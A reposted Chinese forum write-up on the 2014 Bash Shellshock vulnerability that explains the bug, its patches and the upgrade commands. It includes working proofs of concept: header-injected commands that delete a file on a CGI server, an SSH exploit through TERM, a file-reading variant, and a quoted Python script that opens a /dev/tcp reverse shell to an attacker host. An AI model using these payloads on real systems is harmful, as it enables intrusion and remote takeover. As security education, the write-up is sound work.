开始新对话

未解决

此帖子已超过 5 年

1752

2014年10月9日 23:00

【转发】Bash漏洞详解

​原文链接:​​Bash漏洞详解​

Untitled.png

​0x00 什么是BASH​


​Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深 度整合的多功能接口。​

​0x01 CVE-2014-6271​


​法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名的SHELL一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:​

​ ​

​在sshd配置中使用ForceCommand,用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。​

​ ​

​ ​

​Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C 的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中 使用open/system的情况都会受此漏洞影响。​

​ ​


​ ​

​PHP脚本执行在mod_php不会受影响。 DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。​

​ ​

​ ​

​守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。​

​ ​

​ ​

​任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。​

​ ​


​ ​

​OpenSSH, Apache2, php, dhcp client甚至带SUID的程序。​

​1,本地SHELL环境中测试是否有漏洞:​

​$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"​

​如果存在漏洞会打印"vulnerable"。​

​2,C程序:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​19​

​20​

​-----------------------------------------------------------------------------​

​/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */​

​#include ​

​#include ​

​int​​ ​​main()​

​{ ​

​char​​ ​​*envp[] = { ​

​"PATH=/bin:/usr/bin"​​,​

​"/usr/bin/id=() { "​

​"echo pwn me twice, shame on me; }; "​

​"echo pwn me once, shame on you"​​,​

​NULL​

​};​

​char​​ ​​*argv[] = { ​​"/bin/bash"​​, NULL };​

​execve(argv[0], argv, envp);​

​perror​​(​​"execve"​​);​

​return​​ ​​1;​

​}​

​测试:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​je@tiny:~$ gcc -o ​​bash​​-is-fun ​​bash​​-is-fun.c​

​je@tiny:~$ .​​/bash-is-fun​

​pwn me once, shame on you​

​je@tiny:​​/home/je​​$ ​​/usr/bin/id​

​pwn me twice, shame on me​

​这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。​

​3,INVISIBLETHREAT上对于HTTP环境的测试:​

​创建一个脚本叫poc.cgi:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​#!/bin/bash​

​echo​​ ​​"Content-type: text/html"​

​echo​​ ​​""​

​echo​​ ​​''​

​echo​​ ​​''​

​echo​​ ​​' '​

​echo​​ ​​'​​PoC​​'​

​echo​​ ​​''​

​echo​​ ​​''​

​echo​​ ​​'​

​'​

​/usr/bin/env​

​echo​​ ​​'​

​'​

​echo​​ ​​''​

​echo​​ ​​''​

​exit​​ ​​0​

​把脚本放入测试机后,输入:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​19​

​20​

​21​

​22​

​23​

​24​

​25​

​26​

​27​

​28​

​29​

​30​

​31​

​32​

​33​

​34​

​35​

​36​

​$ curl http:​​//192​​.168.0.1​​/poc​​.cgi​

​<​​head​​>​

​ ​​"Content-Type"​​ ​​content=​​"text/html; charset=UTF-8"​​>​

​PoC<</cODE>​​/title​​>​

​<​​/head​​>​

​SERVER_SIGNATURE=​

​Apache​​/2​​.2.22 (Debian) Server at 192.168.0.1 Port 80<​​/address​​>​

​HTTP_USER_AGENT=curl​​/7​​.26.0​

​SERVER_PORT=80​

​HTTP_HOST=192.168.0.1​

​DOCUMENT_ROOT=​​/var/www​

​SCRIPT_FILENAME=​​/var/www/poc​​.cgi​

​REQUEST_URI=​​/poc​​.cgi​

​SCRIPT_NAME=​​/poc​​.cgi​

​REMOTE_PORT=40974​

​PATH=​​/usr/local/bin​​:​​/usr/bin​​:​​/bin​

​PWD=​​/var/www​

​SERVER_ADMIN=webmaster@localhost​

​HTTP_ACCEPT=*/*​

​REMOTE_ADDR=192.168.0.1​

​SHLVL=1​

​SERVER_NAME=192.168.0.1​

​SERVER_SOFTWARE=Apache​​/2​​.2.22 (Debian)​

​QUERY_STRING=​

​SERVER_ADDR=192.168.0.1​

​GATEWAY_INTERFACE=CGI​​/1​​.1​

​SERVER_PROTOCOL=HTTP​​/1​​.1​

​REQUEST_METHOD=GET​

​_=​​/usr/bin/env​

​<​​/pre​​>​

​<​​/body​​>​

​<​​/html​​>​

​再来试试使用curl设置一个user-agent玩玩:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​19​

​$ curl -A ​​"() { :; }; /bin/rm /var/www/target"​​ ​​http:​​//192​​.168.0.1​​/poc​​.cgi​

​"-//IETF//DTD HTML 2.0//EN"​​>​

​<​​head​​>​

​500 Internal Server Error<</cODE>​​/title​​>​

​<​​/head​​>​

​Internal Server Error<​​/h1​​>​

​The server encountered an internal error or​

​misconfiguration and was unable to complete​

​your request.<​​/p​​>​

​Please contact the server administrator,​

​webmaster@localhost and inform them of the ​​time​​ ​​the error occurred,​

​and anything you might have ​​done​​ ​​that may have​

​caused the error.<​​/p​​>​

​More information about this error may be available​

​in​​ ​​the server error log.<​​/p​​>​

​ ​

​Apache​​/2​​.2.22 (Debian) Server at 192.168.0.1 Port 80<​​/address​​>​

​<​​/body​​><​​/html​​>​

​上面已经把/var/www/target给删除了,再来看看:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​$ curl http:​​//192​​.168.0.1​​/target​

​"-//IETF//DTD HTML 2.0//EN"​​>​

​<​​head​​>​

​404 Not Found<</cODE>​​/title​​>​

​<​​/head​​>​

​Not Found<​​/h1​​>​

​The requested URL ​​/target​​ ​​was not found on this server.<​​/p​​>​

​ ​

​Apache​​/2​​.2.22 (Debian) Server at 192.168.0.1 Port 80<​​/address​​>​

​<​​/body​​><​​/html​​>​

​这个例子当中,内容被传入 HTTP_USER_AGENT (CGI 会把HTTP头当成环境变量解析). 最终变成这样:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​HTTP_USER_AGENT() { ​

​:;​

​};​

​/bin/rm​​ ​​/var/www/target​

​应该只解析函数的定义,但是后面的内容仍然执行了。​

​4, 针对OpenSSH的POC​

​目前有2个攻击平面,Solar Designer给出了SSH_ORIGINAL_COMMAND的本地利用方法:​

​seclists.org/oss-sec/2014/q3/651​

​还有就是针对远程利用的POC,通过利用TERM:​

​在机器A上生成一对RSA key pair:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​19​

​20​

​21​

​shawn@debian-test32:~/.​​ssh​​$ ​​ssh​​-keygen​

​Generating public​​/private​​ ​​rsa key pair.​

​Enter ​​file​​ ​​in​​ ​​which​​ ​​to save the key (​​/home/shawn/​​.​​ssh​​/id_rsa​​):​

​Enter passphrase (empty ​​for​​ ​​no passphrase):​

​Enter same passphrase again:​

​Your identification has been saved ​​in​​ ​​/home/shawn/​​.​​ssh​​/id_rsa​​.​

​Your public key has been saved ​​in​​ ​​/home/shawn/​​.​​ssh​​/id_rsa​​.pub.​

​The key fingerprint is:​

​09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:​​dc​​ ​​shawn@debian-test32​

​The key's randomart image is:​

​+--[ RSA 2048]----+​

​| ... |​

​| .o . |​

​| ooo |​

​| o +.o. |​

​| = =S. |​

​| . * o E |​

​| o o . + |​

​|. = o o |​

​|oo . . |​

​+-----------------+​

​把A的公钥拷贝到机器B上:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​$​​cat​​ ​​/home/shawn/​​.​​ssh​​/authorized_keys​

​command​​=​​"/tmp/ssh.sh"​​ ​​ssh​​-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3​​/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q​​+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f​​/8ar5a5Ex8Dg9M/loYPIPp5gJ​​ ​​shawn@debian-test32​

​一个用于控制command/SSH_ORIGINAL_COMMAND的脚本​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​8​

​9​

​10​

​11​

​12​

​13​

​14​

​15​

​16​

​17​

​18​

​19​

​20​

​21​

​22​

​shawn@linux-ionf:~/.​​ssh​​> ​​cat​​ ​​/tmp/ssh​​.sh​

​#!/bin/sh​

​case​​ ​​"$SSH_ORIGINAL_COMMAND"​​ ​​in​

​"ps"​​)​

​ps​​ ​​-ef​

​;;​

​"vmstat"​​)​

​vmstat 1 100​

​;;​

​"cups stop"​​)​

​/etc/init​​.d​​/cupsys​​ ​​stop​

​;;​

​"cups start"​​)​

​/etc/init​​.d​​/cupsys​​ ​​start​

​;;​

​*)​

​echo​​ ​​"Sorry. Only these commands are available to you:"​

​echo​​ ​​"ps, vmstat, cupsys stop, cupsys start"​

​#exit 1​

​;;​

​esac​

​机器A上可以正常的使用限制脚本:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​7​

​shawn@debian-test32:~/.​​ssh​​$ ​​export​​ ​​SSH_ORIGINAL_COMMAND=​​"ps"​

​shawn@debian-test32:~/.​​ssh​​$ ​​ssh​​ ​​shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND​

​Enter passphrase ​​for​​ ​​key ​​'/home/shawn/.ssh/id_rsa'​​:​

​UID PID PPID C STIME TTY TIME CMD​

​root 1 0 0 16:47 ? 00:00:02 ​​/sbin/init​​ ​​showopts​

​root 2 0 0 16:47 ? 00:00:00 [kthreadd]​

​root 3 2 0 16:47 ? 00:00:00 [ksoftirqd​​/0​​]​

​借助TERM来利用:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​shawn@debian-test32:~$ ​​export​​ ​​TERM=​​'() { :;}; id'​​; ​​ssh​​ ​​shawn@192.168.115.129​

​Enter passphrase ​​for​​ ​​key ​​'/home/shawn/.ssh/id_rsa'​​:​

​uid=1000(shawn) gid=100(​​users​​) ​​groups​​=100(​​users​​)​

​Connection to 192.168.115.129 closed.​

​0x02 补丁和后续​


​从最早GNU/Linux发行版社区收到的补丁:​

​https://bugzilla.novell.com/attachment.cgi?id=606672​

​可以看出BASH的确没有做异常处理,而直接解析后就执行了。​

​正式的社区补丁在这里:​

​http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048​​ ​​http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025​

​但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:​

​ ​​ ​​ ​​ ​​ ​​ ​​ ​

​1​

​2​

​3​

​4​

​5​

​6​

​shawn@shawn-fortress ​​/tmp​​ ​​$ ​​date​​ ​​-u > test_file​

​shawn@shawn-fortress ​​/tmp​​ ​​$ ​​env​​ ​​X=​​'() { (a)=<\' bash -c '​​test_file ​​cat​​'​

​bash​​: X: line 1: syntax error near unexpected token `='​

​bash​​: X: line 1: `'​

​bash​​: error importing ​​function​​ ​​definition ​​for​​ ​​`X'​

​Thu Sep 25 09:37:04 UTC 2014​

​这个POC可以让攻击者能读文件,看来后续的故事还没结束...................(Sep 25 13:30 UTC 2014)​

​UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相​
​关的升级。​

​2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:​

​www.openwall.com/lists/oss-security/2014/09/26/2​

​防御方案​

​在各种GNU/Linux发行版里需要升级:​

​Debian-based(包括Ubuntu):​

​sudo apt-get update && apt-get upgrade​

​Gentoo:​

​sudo emerge --sync && glsa-check -f affected​

​OpenSSH:​

​加入no-pty​

​后续故事​

​这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:​

​------------------------------------------------------------------------ # #CVE-2014-6271 cgi-bin reverse shell # import httplib,urllib,sys if (len(sys.argv)<4): print "Usage: %s " % sys.argv[0] print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0] exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell } conn.request("GET",sys.argv[2],headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data ------------------------------------------------------------------------ ​

​的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实:​

​https://gist.github.com/anonymous/929d622f3b36b00c0be1​

​虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找 busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。​

​通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。​

没有回复!
找不到事件!

Top